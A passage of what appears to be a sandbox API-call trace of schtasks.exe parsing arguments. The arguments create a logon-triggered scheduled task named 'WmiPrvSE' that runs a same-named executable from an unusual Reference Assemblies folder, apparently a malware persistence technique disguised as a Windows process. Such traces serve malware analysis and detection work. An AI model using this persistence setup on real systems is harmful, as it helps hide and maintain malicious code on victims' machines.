_Buffer="|tn|") returned 4 [0088.316] lstrlenW (lpString="|end|") returned 5 [0088.316] lstrlenW (lpString="|tn|") returned 4 [0088.316] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0088.317] SetLastError (dwErrCode=0x490) [0088.317] lstrlenW (lpString="showsid") returned 7 [0088.317] lstrlenW (lpString="showsid") returned 7 [0088.317] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.317] GetProcessHeap () returned 0xf0000 [0088.317] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3c0) returned 1 [0088.317] GetProcessHeap () returned 0xf0000 [0088.317] RtlReAllocateHeap (Heap=0xf0000, Flags=0xc, Ptr=0x10c3c0, Size=0x16) returned 0x10c3c0 [0088.317] lstrlenW (lpString="tn") returned 2 [0088.317] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.317] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|showsid|") returned 9 [0088.317] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tn|") returned 4 [0088.317] lstrlenW (lpString="|showsid|") returned 9 [0088.317] lstrlenW (lpString="|tn|") returned 4 [0088.317] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0088.317] SetLastError (dwErrCode=0x490) [0088.317] SetLastError (dwErrCode=0x490) [0088.317] SetLastError (dwErrCode=0x0) [0088.317] lstrlenW (lpString="/tn") returned 3 [0088.317] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0088.317] SetLastError (dwErrCode=0x490) [0088.317] SetLastError (dwErrCode=0x0) [0088.317] lstrlenW (lpString="/tn") returned 3 [0088.317] GetProcessHeap () returned 0xf0000 [0088.317] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x8) returned 0x10c360 [0088.317] GetProcessHeap () returned 0xf0000 [0088.317] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cd90 [0088.317] SetLastError (dwErrCode=0x0) [0088.318] SetLastError (dwErrCode=0x0) [0088.318] lstrlenW (lpString="WmiPrvSE") returned 8 [0088.318] lstrlenW (lpString="-/") returned 2 [0088.318] StrChrIW (lpStart="-/", wMatch=0x57) returned 0x0 [0088.318] SetLastError (dwErrCode=0x490) [0088.318] SetLastError (dwErrCode=0x490) [0088.318] SetLastError (dwErrCode=0x0) [0088.318] lstrlenW (lpString="WmiPrvSE") returned 8 [0088.318] StrChrIW (lpStart="WmiPrvSE", wMatch=0x3a) returned 0x0 [0088.318] SetLastError (dwErrCode=0x490) [0088.318] SetLastError (dwErrCode=0x0) [0088.318] lstrlenW (lpString="WmiPrvSE") returned 8 [0088.318] GetProcessHeap () returned 0xf0000 [0088.318] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x12) returned 0x10c3f0 [0088.318] GetProcessHeap () returned 0xf0000 [0088.318] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cdc0 [0088.318] SetLastError (dwErrCode=0x0) [0088.318] SetLastError (dwErrCode=0x0) [0088.318] lstrlenW (lpString="/sc") returned 3 [0088.318] lstrlenW (lpString="-/") returned 2 [0088.318] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.318] lstrlenW (lpString="?") returned 1 [0088.318] lstrlenW (lpString="?") returned 1 [0088.318] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.318] lstrlenW (lpString="sc") returned 2 [0088.318] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.318] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|?|") returned 3 [0088.318] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.318] lstrlenW (lpString="|?|") returned 3 [0088.318] lstrlenW (lpString="|sc|") returned 4 [0088.318] SetLastError (dwErrCode=0x490) [0088.318] lstrlenW (lpString="create") returned 6 [0088.319] lstrlenW (lpString="create") returned 6 [0088.319] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.319] lstrlenW (lpString="sc") returned 2 [0088.319] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.319] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.319] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.319] lstrlenW (lpString="|create|") returned 8 [0088.319] lstrlenW (lpString="|sc|") returned 4 [0088.319] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0088.319] SetLastError (dwErrCode=0x490) [0088.319] lstrlenW (lpString="delete") returned 6 [0088.319] lstrlenW (lpString="delete") returned 6 [0088.319] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.319] lstrlenW (lpString="sc") returned 2 [0088.319] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.319] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|delete|") returned 8 [0088.319] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.319] lstrlenW (lpString="|delete|") returned 8 [0088.319] lstrlenW (lpString="|sc|") returned 4 [0088.319] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0088.319] SetLastError (dwErrCode=0x490) [0088.319] lstrlenW (lpString="query") returned 5 [0088.320] lstrlenW (lpString="query") returned 5 [0088.320] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.321] lstrlenW (lpString="sc") returned 2 [0088.321] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.321] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|query|") returned 7 [0088.321] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.321] lstrlenW (lpString="|query|") returned 7 [0088.321] lstrlenW (lpString="|sc|") returned 4 [0088.321] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0088.321] SetLastError (dwErrCode=0x490) [0088.321] lstrlenW (lpString="change") returned 6 [0088.321] lstrlenW (lpString="change") returned 6 [0088.321] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.321] lstrlenW (lpString="sc") returned 2 [0088.321] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.321] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|change|") returned 8 [0088.321] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.321] lstrlenW (lpString="|change|") returned 8 [0088.321] lstrlenW (lpString="|sc|") returned 4 [0088.321] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0088.321] SetLastError (dwErrCode=0x490) [0088.321] lstrlenW (lpString="run") returned 3 [0088.321] lstrlenW (lpString="run") returned 3 [0088.321] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.321] lstrlenW (lpString="sc") returned 2 [0088.321] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.321] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|run|") returned 5 [0088.321] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.321] lstrlenW (lpString="|run|") returned 5 [0088.321] lstrlenW (lpString="|sc|") returned 4 [0088.321] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0088.321] SetLastError (dwErrCode=0x490) [0088.322] lstrlenW (lpString="end") returned 3 [0088.322] lstrlenW (lpString="end") returned 3 [0088.322] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.322] lstrlenW (lpString="sc") returned 2 [0088.322] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.322] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|end|") returned 5 [0088.322] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.322] lstrlenW (lpString="|end|") returned 5 [0088.322] lstrlenW (lpString="|sc|") returned 4 [0088.322] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0088.322] SetLastError (dwErrCode=0x490) [0088.322] lstrlenW (lpString="showsid") returned 7 [0088.322] lstrlenW (lpString="showsid") returned 7 [0088.322] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.322] lstrlenW (lpString="sc") returned 2 [0088.322] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.322] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|showsid|") returned 9 [0088.322] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|sc|") returned 4 [0088.322] lstrlenW (lpString="|showsid|") returned 9 [0088.322] lstrlenW (lpString="|sc|") returned 4 [0088.322] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0088.322] SetLastError (dwErrCode=0x490) [0088.322] SetLastError (dwErrCode=0x490) [0088.322] SetLastError (dwErrCode=0x0) [0088.322] lstrlenW (lpString="/sc") returned 3 [0088.322] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0088.322] SetLastError (dwErrCode=0x490) [0088.322] SetLastError (dwErrCode=0x0) [0088.322] lstrlenW (lpString="/sc") returned 3 [0088.322] GetProcessHeap () returned 0xf0000 [0088.322] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x8) returned 0x10c410 [0088.323] GetProcessHeap () returned 0xf0000 [0088.323] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cdf0 [0088.323] SetLastError (dwErrCode=0x0) [0088.323] SetLastError (dwErrCode=0x0) [0088.323] lstrlenW (lpString="ONLOGON") returned 7 [0088.323] lstrlenW (lpString="-/") returned 2 [0088.323] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0088.323] SetLastError (dwErrCode=0x490) [0088.323] SetLastError (dwErrCode=0x490) [0088.323] SetLastError (dwErrCode=0x0) [0088.323] lstrlenW (lpString="ONLOGON") returned 7 [0088.323] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0088.323] SetLastError (dwErrCode=0x490) [0088.323] SetLastError (dwErrCode=0x0) [0088.323] lstrlenW (lpString="ONLOGON") returned 7 [0088.323] GetProcessHeap () returned 0xf0000 [0088.323] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x10) returned 0x10c430 [0088.323] GetProcessHeap () returned 0xf0000 [0088.323] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ce20 [0088.323] SetLastError (dwErrCode=0x0) [0088.323] SetLastError (dwErrCode=0x0) [0088.323] lstrlenW (lpString="/tr") returned 3 [0088.323] lstrlenW (lpString="-/") returned 2 [0088.323] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.323] lstrlenW (lpString="?") returned 1 [0088.323] lstrlenW (lpString="?") returned 1 [0088.323] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.323] lstrlenW (lpString="tr") returned 2 [0088.323] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.323] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|?|") returned 3 [0088.323] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.323] lstrlenW (lpString="|?|") returned 3 [0088.323] lstrlenW (lpString="|tr|") returned 4 [0088.324] SetLastError (dwErrCode=0x490) [0088.324] lstrlenW (lpString="create") returned 6 [0088.324] lstrlenW (lpString="create") returned 6 [0088.324] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.324] lstrlenW (lpString="tr") returned 2 [0088.324] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.324] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.324] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.324] lstrlenW (lpString="|create|") returned 8 [0088.324] lstrlenW (lpString="|tr|") returned 4 [0088.324] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0088.324] SetLastError (dwErrCode=0x490) [0088.324] lstrlenW (lpString="delete") returned 6 [0088.324] lstrlenW (lpString="delete") returned 6 [0088.324] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.324] lstrlenW (lpString="tr") returned 2 [0088.324] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.324] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|delete|") returned 8 [0088.324] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.324] lstrlenW (lpString="|delete|") returned 8 [0088.324] lstrlenW (lpString="|tr|") returned 4 [0088.324] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0088.324] SetLastError (dwErrCode=0x490) [0088.324] lstrlenW (lpString="query") returned 5 [0088.324] lstrlenW (lpString="query") returned 5 [0088.324] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.324] lstrlenW (lpString="tr") returned 2 [0088.324] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.324] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|query|") returned 7 [0088.324] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.325] lstrlenW (lpString="|query|") returned 7 [0088.325] lstrlenW (lpString="|tr|") returned 4 [0088.325] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0088.325] SetLastError (dwErrCode=0x490) [0088.325] lstrlenW (lpString="change") returned 6 [0088.325] lstrlenW (lpString="change") returned 6 [0088.325] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.325] lstrlenW (lpString="tr") returned 2 [0088.325] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.325] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|change|") returned 8 [0088.325] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.325] lstrlenW (lpString="|change|") returned 8 [0088.325] lstrlenW (lpString="|tr|") returned 4 [0088.325] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0088.325] SetLastError (dwErrCode=0x490) [0088.325] lstrlenW (lpString="run") returned 3 [0088.325] lstrlenW (lpString="run") returned 3 [0088.325] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.325] lstrlenW (lpString="tr") returned 2 [0088.325] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.325] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|run|") returned 5 [0088.325] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.325] lstrlenW (lpString="|run|") returned 5 [0088.325] lstrlenW (lpString="|tr|") returned 4 [0088.325] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0088.325] SetLastError (dwErrCode=0x490) [0088.325] lstrlenW (lpString="end") returned 3 [0088.325] lstrlenW (lpString="end") returned 3 [0088.325] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.325] lstrlenW (lpString="tr") returned 2 [0088.326] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.326] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|end|") returned 5 [0088.326] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.326] lstrlenW (lpString="|end|") returned 5 [0088.326] lstrlenW (lpString="|tr|") returned 4 [0088.326] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0088.326] SetLastError (dwErrCode=0x490) [0088.326] lstrlenW (lpString="showsid") returned 7 [0088.326] lstrlenW (lpString="showsid") returned 7 [0088.326] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.326] lstrlenW (lpString="tr") returned 2 [0088.326] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.326] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|showsid|") returned 9 [0088.326] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|tr|") returned 4 [0088.326] lstrlenW (lpString="|showsid|") returned 9 [0088.326] lstrlenW (lpString="|tr|") returned 4 [0088.326] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0088.326] SetLastError (dwErrCode=0x490) [0088.326] SetLastError (dwErrCode=0x490) [0088.326] SetLastError (dwErrCode=0x0) [0088.326] lstrlenW (lpString="/tr") returned 3 [0088.326] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0088.326] SetLastError (dwErrCode=0x490) [0088.326] SetLastError (dwErrCode=0x0) [0088.326] lstrlenW (lpString="/tr") returned 3 [0088.326] GetProcessHeap () returned 0xf0000 [0088.326] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x8) returned 0x10c450 [0088.326] GetProcessHeap () returned 0xf0000 [0088.326] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ce50 [0088.326] SetLastError (dwErrCode=0x0) [0088.326] SetLastError (dwErrCode=0x0) [0088.326] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.326] lstrlenW (lpString="-/") returned 2 [0088.327] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0088.327] SetLastError (dwErrCode=0x490) [0088.327] SetLastError (dwErrCode=0x490) [0088.327] SetLastError (dwErrCode=0x0) [0088.327] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.327] StrChrIW (lpStart="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'" [0088.327] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.327] GetProcessHeap () returned 0xf0000 [0088.327] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10c470 [0088.327] _memicmp (_Buf1=0x10c470, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.327] GetProcessHeap () returned 0xf0000 [0088.327] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xe) returned 0x10c490 [0088.327] GetProcessHeap () returned 0xf0000 [0088.327] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x18) returned 0x10d680 [0088.327] _memicmp (_Buf1=0x10d680, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.327] GetProcessHeap () returned 0xf0000 [0088.327] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x8c) returned 0x10de50 [0088.327] SetLastError (dwErrCode=0x7a) [0088.327] SetLastError (dwErrCode=0x0) [0088.327] SetLastError (dwErrCode=0x0) [0088.327] lstrlenW (lpString="'C") returned 2 [0088.327] lstrlenW (lpString="-/") returned 2 [0088.327] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0088.327] SetLastError (dwErrCode=0x490) [0088.327] SetLastError (dwErrCode=0x490) [0088.327] SetLastError (dwErrCode=0x0) [0088.327] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.327] GetProcessHeap () returned 0xf0000 [0088.327] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x8a) returned 0x10def0 [0088.328] GetProcessHeap () returned 0xf0000 [0088.328] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ce80 [0088.328] SetLastError (dwErrCode=0x0) [0088.328] SetLastError (dwErrCode=0x0) [0088.328] lstrlenW (lpString="/rl") returned 3 [0088.328] lstrlenW (lpString="-/") returned 2 [0088.328] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.328] lstrlenW (lpString="?") returned 1 [0088.328] lstrlenW (lpString="?") returned 1 [0088.328] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.328] lstrlenW (lpString="rl") returned 2 [0088.328] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.328] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|?|") returned 3 [0088.328] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.328] lstrlenW (lpString="|?|") returned 3 [0088.328] lstrlenW (lpString="|rl|") returned 4 [0088.328] SetLastError (dwErrCode=0x490) [0088.328] lstrlenW (lpString="create") returned 6 [0088.328] lstrlenW (lpString="create") returned 6 [0088.328] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.328] lstrlenW (lpString="rl") returned 2 [0088.328] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.328] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|create|") returned 8 [0088.328] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.328] lstrlenW (lpString="|create|") returned 8 [0088.328] lstrlenW (lpString="|rl|") returned 4 [0088.328] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0088.328] SetLastError (dwErrCode=0x490) [0088.328] lstrlenW (lpString="delete") returned 6 [0088.328] lstrlenW (lpString="delete") returned 6 [0088.328] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.328] lstrlenW (lpString="rl") returned 2 [0088.329] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.329] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|delete|") returned 8 [0088.329] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.329] lstrlenW (lpString="|delete|") returned 8 [0088.329] lstrlenW (lpString="|rl|") returned 4 [0088.329] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0088.329] SetLastError (dwErrCode=0x490) [0088.329] lstrlenW (lpString="query") returned 5 [0088.329] lstrlenW (lpString="query") returned 5 [0088.329] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.329] lstrlenW (lpString="rl") returned 2 [0088.329] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.329] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|query|") returned 7 [0088.329] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.329] lstrlenW (lpString="|query|") returned 7 [0088.329] lstrlenW (lpString="|rl|") returned 4 [0088.329] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0088.329] SetLastError (dwErrCode=0x490) [0088.329] lstrlenW (lpString="change") returned 6 [0088.329] lstrlenW (lpString="change") returned 6 [0088.329] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.329] lstrlenW (lpString="rl") returned 2 [0088.329] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.329] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|change|") returned 8 [0088.329] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.329] lstrlenW (lpString="|change|") returned 8 [0088.329] lstrlenW (lpString="|rl|") returned 4 [0088.329] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0088.329] SetLastError (dwErrCode=0x490) [0088.329] lstrlenW (lpString="run") returned 3 [0088.330] lstrlenW (lpString="run") returned 3 [0088.330] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.330] lstrlenW (lpString="rl") returned 2 [0088.330] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.330] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|run|") returned 5 [0088.330] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.330] lstrlenW (lpString="|run|") returned 5 [0088.330] lstrlenW (lpString="|rl|") returned 4 [0088.330] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0088.330] SetLastError (dwErrCode=0x490) [0088.330] lstrlenW (lpString="end") returned 3 [0088.330] lstrlenW (lpString="end") returned 3 [0088.330] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.330] lstrlenW (lpString="rl") returned 2 [0088.330] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.330] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|end|") returned 5 [0088.330] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f038 | out: _Buffer="|rl|") returned 4 [0088.330] lstrlenW (lpString="|end|") returned 5 [0088.330] lstrlenW (lpString="|rl|") returned 4 [0088.330] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0088.330] SetLastError (dwErrCode=0x490) [0088.330] lstrlenW (lpString="showsid") returned 7 [0088.330] lstrlenW (lpString="showsid") returned 7 [0088.330] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, 